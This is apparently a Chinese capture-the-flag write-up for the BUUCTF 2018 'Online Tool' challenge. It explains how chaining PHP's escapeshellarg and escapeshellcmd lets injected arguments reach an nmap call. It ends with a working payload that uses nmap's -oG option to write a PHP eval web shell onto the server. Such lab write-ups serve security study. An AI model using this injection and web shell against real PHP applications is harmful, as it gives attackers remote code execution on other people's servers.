[BUUCTF 2018]Online Tool
打开环境后显示如下的代码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
HTTP_X_FORWARDED_FOR和REMOTE_ADDR都是服务器用来获取ip用的,在本题没有太大作用。后面的代码里需要host传参,再经过下面两个函数的处理,最后拼接字符串执行system系统函数,mkdir函数创建新目录。
这里找到几个网站,关于escapeshellarg和escapeshellcmd函数的漏洞介绍:
https://paper.seebug.org/164/
https://www.anquanke.com/post/id/107336
escapeshellarg
1.确保用户只传递一个参数给命令 2.用户不能指定更多的参数一个 3.用户不能执行不同的命令
escapeshellcmd
1.确保用户只执行一个命令 2.用户可以指定不限数量的参数 3.用户不能执行不同的命令
escapeshellcmd()是阻止多参数命令执行的,因为一整个传参的内容都被当做一串字符串了。虽然命令语句只能执行一个,但是可以指定不同参数,比如:
$username = 'myuser1 myuser2';
system('groups '.$username);
=>
//myuser1 : myuser1 adm cdrom sudo
//myuser2 : myuser2 adm cdrom sudo
但是在escapeshellarg()函数处理后,就会被当做一个参数来执行命令了。尽管如此,这两个函数组合使用时,还是会有漏洞,具体示例如下:
1.传入的参数是:172.17.0.2' -v -d a=1
2.经过escapeshellarg处理后变成了'172.17.0.2''' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3.经过escapeshellcmd处理后变成'172.17.0.2'\'' -v -d a=1',这是因为escapeshellcmd对以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
4.最后执行的命令是curl '172.17.0.2'\'' -v -d a=1',由于中间的\被解释为而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2 -v -d a=1',即向172.17.0.2发起请求,POST 数据为a=1'。
nmap构造命令
system函数里拼接了nmap的指令字符串。nmap中的-oG参数可以将代码与命令写到文件中,比如nmap -oG 1.php,就是将这个phpinfo();语句写在了1.php里内了。
构造payload
?host='<?php eval($_POST["a"]);?> -oG test.php '
这里注意最后的'最好是跟前一个字符之间留一个空格,否则转义之后\就会和前面的1.php连在一起,访问的时候就是1.php\这个文件。
上传一个木马文件写进test.php里。